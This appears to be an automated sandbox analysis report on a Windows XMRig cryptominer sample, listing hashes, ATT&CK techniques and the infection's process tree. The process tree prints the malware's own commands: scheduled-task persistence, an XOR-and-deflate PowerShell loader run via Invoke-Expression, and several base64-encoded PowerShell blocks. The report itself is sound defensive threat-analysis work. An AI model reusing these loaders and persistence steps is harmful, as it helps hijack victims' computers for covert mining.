xmrig | e1a36accd2f2653acb822b8b6718dba8d749ee2d014de309aefdc3f356d2823a

Analysis

max time kernel
150s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
06/05/2026, 12:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
Size 2.3MB
Sample260506-p437saft4j
SHA256 e1a36accd2f2653acb822b8b6718dba8d749ee2d014de309aefdc3f356d2823a
MD5 346a7d7d4c3513d69db68d48e572aa2e
SHA1 b9f45ea8c031873749a16385f4422422cf0273ac
SHA512 c69250a3f7908345d50306c6c29772d4782ee05cd8ef7b63a250130844ac6758e6c3c270df71f2d23a338329932daa65469627212ea34944573f727ab59abc46
SSDEEP 49152:1MDRZ9IBVL+s0ezJGd80SHMsThF35Hj1Bzuj:1MDtIXLr06AdfEThF35Pzuj
TLSH
T17DB5335929E39077D98A48B0158AC1F6037DA23329D0757FFBF204D95FA31EE360A6D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/files/0x001a00000002b165-28.dat	xmrig
behavioral2/memory/2472-54-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-58-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-61-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-64-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-67-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-1025-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-1242-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-1250-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-1262-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-1270-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig
behavioral2/memory/2472-1278-0x0000000000400000-0x0000000000AA3000-memory.dmp	xmrig

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3384	powershell.exe
6	3384	powershell.exe
7	3384	powershell.exe
9	3384	powershell.exe
10	3384	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
6	3384	powershell.exe
10	3384	powershell.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 7 IoCs

pid	Process
3524	2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
4732	maintenance.exe
4904	maintenance.exe
2472	idle_maintenance.exe
1436	wmntnnc
1088	wmntnnc
5956	maintenance.exe

Loads dropped DLL 60 IoCs

pid	Process
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3384	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	maintenance.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	maintenance.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmntnnc
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	maintenance.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmntnnc
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5872	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4904	maintenance.exe
4904	maintenance.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
2096	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
5196	powershell.exe
2096	powershell.exe
3228	powershell.exe
3228	powershell.exe
5196	powershell.exe
2096	powershell.exe
2096	powershell.exe
1088	wmntnnc
1088	wmntnnc

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2472	idle_maintenance.exe
Token: SeLockMemoryPrivilege	2472	idle_maintenance.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	5196	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1088	wmntnnc
1088	wmntnnc
1088	wmntnnc

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1088	wmntnnc

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 1408	2080	2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe	78
PID 2080 wrote to memory of 1012	2080	2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe	80
PID 1408 wrote to memory of 4640	1408	cmd.exe	82
PID 1408 wrote to memory of 2612	1408	cmd.exe	83
PID 1012 wrote to memory of 4208	1012	cmd.exe	84
PID 1012 wrote to memory of 3524	1012	cmd.exe	85
PID 1012 wrote to memory of 5872	1012	cmd.exe	87
PID 4904 wrote to memory of 2472	4904	maintenance.exe	91
PID 4904 wrote to memory of 3384	4904	maintenance.exe	92
PID 3384 wrote to memory of 2096	3384	powershell.exe	96
PID 3384 wrote to memory of 1436	3384	powershell.exe	97
PID 3384 wrote to memory of 3228	3384	powershell.exe	98
PID 3384 wrote to memory of 5196	3384	powershell.exe	99
PID 1436 wrote to memory of 1088	1436	wmntnnc	100
PID 5196 wrote to memory of 5956	5196	powershell.exe	102

C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zbe20265613552404.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\SysWOW64\schtasks.exe
    Schtasks.Exe /delete /tn "Maintenance" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4640
- - C:\Windows\SysWOW64\schtasks.exe
    Schtasks.Exe /create /tn "Maintenance" /xml "C:\Users\Admin\AppData\Local\Temp\zx20265613552404.xml"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2612
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zb20265613552404.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\SysWOW64\chcp.com
    chcp 1251
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4208
- - C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe"
    3⤵
    - Executes dropped EXE
    PID:3524
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:5872

C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe
C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4732

C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe
C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe .
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Users\Admin\AppData\Local\Temp\4c4c4e534b51534d5032637862925654197820500033\idle_maintenance.exe
  C:\Users\Admin\AppData\Local\Temp\4c4c4e534b51534d5032637862925654197820500033\idle_maintenance.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -c "if($host.version.major -lt 3){exit}$d =[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Roaming\Maintenance\mod');$l=$d.Count;$m = New-Object Byte[] $l;[byte[]] $x=91,191,136,190,30,230,6,178;$j=0;for($i=0;$i -lt $l;$i++){$m[$i]=$d[$i] -bxor $x[$j];$j++;if($j -ge 8){$j=0}}$a = New-Object IO.MemoryStream(,$m);$b = New-Object IO.StreamReader(New-Object IO.Compression.DeflateStream($a,[IO.Compression.CompressionMode]::Decompress));$c=$b.ReadToEnd();$b.Close();$a.Close();Invoke-Expression($c)"
  2⤵
  - Badlisted process makes network request
  - Downloads MZ/PE file
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -encodedCommand ZgB1AG4AYwB0AGkAbwBuACAAYwBoAGsAcAByAGMAKAAkAHAAKQB7AA0ACgAgACgAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAFAAcgBvAGMAZQBzAHMATgBhAG0AZQApAC4AUAByAG8AYwBlAHMAcwBOAGEAbQBlACAALQBjAG8AbgB0AGEAaQBuAHMAIAAiACQAcAAiACkADQAKAH0ADQAKAGkAZgAoAGMAaABrAHAAcgBjACgAJwBtAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwApACkAewANAAoAIABXAGEAaQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACcAbQBhAGkAbgB0AGUAbgBhAG4AYwBlACcADQAKACAAaQBmACgAYwBoAGsAcAByAGMAKAAnAHcAbQBuAHQAbgBuAGMAJwApACkAewANAAoAIAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJwB3AG0AbgB0AG4AbgBjACcAIAAtAEYAbwByAGMAZQANAAoAIAAgAFcAYQBpAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJwB3AG0AbgB0AG4AbgBjACcADQAKACAAfQAgAA0ACgAgACQAcAByAHQAYwA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AQAB7AA0ACgAgACAAUwB0AGEAcgB0AEkAbgBmAG8AIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFMAdABhAHIAdABJAG4AZgBvAF0AQAB7AA0ACgAgACAAVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIABGAGkAbABlAE4AYQBtAGUAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQBcAGEAcABwAHMAXABtAGEAaQBuAHQAZQBuAGEAbgBjAGUALgBlAHgAZQAnAA0ACgAgACAAQQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJwAtACcADQAKACAAIABDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIAB9AA0ACgAgAH0ADQAKACAAJABwAHIAdABjAC4AUwB0AGEAcgB0ACgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwADQAKACAAaQBmACgAYwBoAGsAcAByAGMAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwApACkAewBTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAIAAtAEYAbwByAGMAZQB9AA0ACgAgAGUAeABpAHQADQAKAH0A
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- - C:\Users\Admin\AppData\Roaming\Maintenance\wmntnnc
    ".\wmntnnc"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\Users\Admin\AppData\Roaming\Maintenance\wmntnnc
      ".\wmntnnc"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:1088
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -encodedCommand JABwAGEAdABoAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnAA0ACgANAAoAJABiAGkAbgBmAG4APQAwAA0ACgBkAG8AIAB7AA0ACgAgACQAZgBpAGwAZQBzACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAYQB0AGgAIAAtAEYAaQBsAHQAZQByACAAXwBNAEUASQAqAA0ACgAgAEYAbwByAEUAYQBjAGgAIAAoACQAZgBuACAAaQBuACAAJABmAGkAbABlAHMAKQAgAHsADQAKACAAIAAkAGIAaQBuAGYAbgA9ACQAcABhAHQAaAArACcAXAAnACsAJABmAG4ALgBuAGEAbQBlACsAJwBcAFEAdABHAHUAaQA0AC4AZABsAGwAJwANAAoAIAB9AA0ACgAgAGkAZgAoAC0AbgBvAHQAIAAkAGIAaQBuAGYAbgApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwAH0ADQAKAH0ADQAKAHcAaABpAGwAZQAoAC0AbgBvAHQAIAAkAGIAaQBuAGYAbgApAA0ACgANAAoAdwBoAGkAbABlACgALQBuAG8AdAAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBFAHgAaQBzAHQAcwAoACQAYgBpAG4AZgBuACkAKQB7AA0ACgAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAANAAoAfQANAAoADQAKACQAZgBzAD0AMAANAAoAZABvAHsADQAKACAAdAByAHkAewAkAGYAcwAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoATwBwAGUAbgBXAHIAaQB0AGUAKAAkAGIAaQBuAGYAbgApAH0ADQAKACAAYwBhAHQAYwBoAHsAJABmAHMAPQAwAH0ADQAKACAAaQBmACgALQBuAG8AdAAgACQAZgBzACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMQAwADAAfQANAAoAfQANAAoAdwBoAGkAbABlACgALQBuAG8AdAAgACQAZgBzACkADQAKAA0ACgAkAGEAPQA1ADEANwA2ADEAOAA2AA0ACgAkAG4APQA0AA0ACgAkAGYAcwAuAFMAZQBlAGsAKAAkAGEALABbAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAbgA7ACQAaQArACsAKQB7ACQAZgBzAC4AVwByAGkAdABlAEIAeQB0AGUAKAAwACkAfQANAAoAJABmAHMALgBDAGwAbwBzAGUAKAApACAADQAKAGUAeABpAHQA
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -encodedCommand dwBoAGkAbABlACgALQBuAG8AdAAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBFAHgAaQBzAHQAcwAoACcALgBcAHMAaQBuAGcAbABlAHQAbwBuAC4AbABvAGMAawAnACkAKQB7AA0ACgAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAANAAoAfQANAAoAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAxADAAMAAwADsAJABpACsAKwApAA0ACgB7AA0ACgAgACQAcAByAHQAYwA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AQAB7AA0ACgAgACAAUwB0AGEAcgB0AEkAbgBmAG8AIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFMAdABhAHIAdABJAG4AZgBvAF0AQAB7AA0ACgAgACAAVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIABGAGkAbABlAE4AYQBtAGUAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQBcAGEAcABwAHMAXABtAGEAaQBuAHQAZQBuAGEAbgBjAGUALgBlAHgAZQAnAA0ACgAgACAAQQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJwArACcADQAKACAAIABDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIAB9AA0ACgAgAH0ADQAKACAAJABwAHIAdABjAC4AUwB0AGEAcgB0ACgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwADQAKACAAJABwAHIAdABjAC4AVwBhAGkAdABGAG8AcgBFAHgAaQB0ACgAKQANAAoAIAANAAoAIABpAGYAKAAkAHAAcgB0AGMALgBFAHgAaQB0AEMAbwBkAGUAIAAtAGUAcQAgADcANwA3ACkAewBiAHIAZQBhAGsAfQANAAoAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMQAwADAADQAKACAAZQB4AGkAdAANAAoAfQA=
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5196
  - - C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe
      "C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe" +
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5956

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 60KB
SHA256 4c5cbbcdcc5d3199c2e0d5a23b8e6ac30197902cb91779f30118f6c7c8af3203
MD5 63fc0982a1d13272ebdd145919fce13b
SHA1 8d00918dcf4bace4665fdfec2e9d87a33eec6a98
SHA512 e1a028675f190fcdcbad75ce351f17c9ed2f08bd7beafd886dde3b07d64028bf0dfc50aa9b551b9d521c36b8f5d1ec1ed068cdecb3d750b5145f5037499e1810
SSDEEP 1536:ZflJdvh4iUxGYk+vH/fKQNUpeE711kDa5z+jH0M6Yo3OV3CNBQkj2zMrxjtAHkQK:ZflJdvqiUGYk+vH/fKQNUpeE711kDa5V
TLSH
T1EC539592E9204E75E2A65F3EF15622627C34394690F8113212DC25EFA9879930B1F7FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe

Path C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
Size 2.3MB
SHA256 d4e2b8191769e60c1f3d4d457aab4c7aaacb398f424e769bbfefb450e9ab08ad
MD5 af64d96991b46993ac19f6d858554611
SHA1 17af32a733752970bfa8cdb4747668e24c8a9866
SHA512 1cb08c9e8488debecaa1474229cfe94cc5c17751e700b6a15fbd33d97a3e5d72727a077b68aa0929a7fe0aff3bc2fc3af83e6b1eef4bdca1f55c967261603e47
SSDEEP 49152:JVk6y3tQu2XG8ZoI9Z9rqyI44HppuzGxHHY4L2q5HkL3:J26y3SWGoqZ92yVG/uzGNV9Hkj
TLSH
T115B533687D16C4BADC780831D5C0C6634D7A5733B99311BFFFA804869A63BC993A5E38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.json

Path C:\Users\Admin\AppData\Local\Temp\4c4c4e534b51534d5032637862925654197820500033\config.json
Size 3KB
SHA256 b037a5c97ab5cab25ea964721369898ab2e839160ca07970cf4aca7958a3ce60
MD5 67dea402bcdeeae38b32c07f35baca2d
SHA1 d842a2591a203206f98a8ba338c7d97412e3e2e8
SHA512 bd1a1e6c9d4fffc75a59612bdaa29bea4b1daf8abce99918ac6df818bfb7092956e5b60a47f59a5b8cc484f62ca5b2ceac8e446003efc7adc0c39ae6fe126dfd
TLSH
T1F1612851CA680CFB1194506C88BD62831758861B2F5D3D38B25C9A5C3F0E73F72B6BE9
MD5 SHA1 SHA512 TLSH

Submit Download

idle_maintenance.exe

Path C:\Users\Admin\AppData\Local\Temp\4c4c4e534b51534d5032637862925654197820500033\idle_maintenance.exe
Size 3.5MB
SHA256 043f0954abf32bf6d1669cf456a439accc7421af3ee7608e23c8e2b6e6a27c1c
MD5 e2af153ed50cb5ef457972e656f1bc51
SHA1 efe31f03ec2ce99ba4ff8d573734fc4259a28edf
SHA512 2576c511868849ab258ef0bbe2fb3cbfe72eb02dc0ab5f4d7004d7a59ff5bfba035f54a2dc7ca55d569f51d2f4de654643fafa29905b32e1b1b498ff050c699e
SSDEEP 98304:4X4JznNhDYoYYMYYMYoYYYYjiYiYiEJzdJzHPFj86sVATwf9tO3k3np533kPdRz9:AY9j86sVACtOPDXzs
TLSH
T106065B1BF29340ACC17FC071871B9772BA21BC5912347A6B5B54EB342B22FA0967EF54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bitmessage_x86_0.6.3.2.exe.manifest

Path C:\Users\Admin\AppData\Local\Temp\_MEI14362\Bitmessage_x86_0.6.3.2.exe.manifest
Size 1KB
SHA256 cb22d067d3131f5d5285ccf3d32132de5db9ae6d3e7ce07b423810ff608b1f0c
MD5 664f2d313870b7a5221f64843b982ca6
SHA1 0aa6161f154f4c706b735ad94b98fc640eb22c8e
SHA512 6a8faacbad176e435e37424ac84e0f5745cfd93165a0798c3eff8b2b16bc15d759e5cd95975783ed8f93f01a3d38dfedf6718ddcb6f17788297bee3933369894
TLSH
T1CC21BE00C4D4E962B73240D33795BD49DE4DA7A7088C4A9EB48DBB2F9F17AD58343165
MD5 SHA1 SHA512 TLSH

Submit Download

PyQt4.QtCore.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI14362\PyQt4.QtCore.pyd
Size 1.6MB
SHA256 a62a88f72c302e910b8d29ddb07fa635272dc71cd3ddfaef4d4b5332df87e08f
MD5 b8fcffd511b6f1ad5c1bd56cecedd72b
SHA1 41a75f56566717bebb7fc0857a1ef5f8f3b5846e
SHA512 943069b98f8ec8d1835e888c484252ee3b229d9ab30a8a33892f6802164de2feb3827f80bed4e04a37a5251a6ae264fbe7ddcea87a877a6498eb0a42a91d63a8
SSDEEP 12288:TkxrEegnVhNewVLVDKkxzvjU0LG59ey7GY89qQyyFtmYBY0PTUzqXHyX0s3el/DW:wYPVLV20Uex5f5S
TLSH
T1C675FA814364C6FEDC8F667D42B769259F1590B5333A98D3E22AED789A330F61939303
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI14362\_hashlib.pyd
Size 993KB
SHA256 8dceafaaec28740385b1cb8cf2655db68ecf2e561053bfe494795019542491e4
MD5 24c2f70ff5c6eaddb995f2cbb4bc4890
SHA1 c6534a6eb3e1e38fe36332d430eb33eeeb8ecc73
SHA512 d262c1b9162f7fcd121fc4c46ce5e85b5ad0e88cadc075ae6fe157ab407fc8558f9860b2cfcae9ae6119bb631c8b978652d1a93e4c2d093b6e7385e81719acf3
SSDEEP 24576:PoJODOtV4Jpiq0V+Bbg3SVhd7iaEfeehl/0Wx/pUC0j3r1COl:t2VipW+FZfehx/pUf3xCOl
TLSH
T127257D02EC405576F8EE55BAD7FD6A7E0C3C86061328D1D3AAE261A14EB05E3773D386
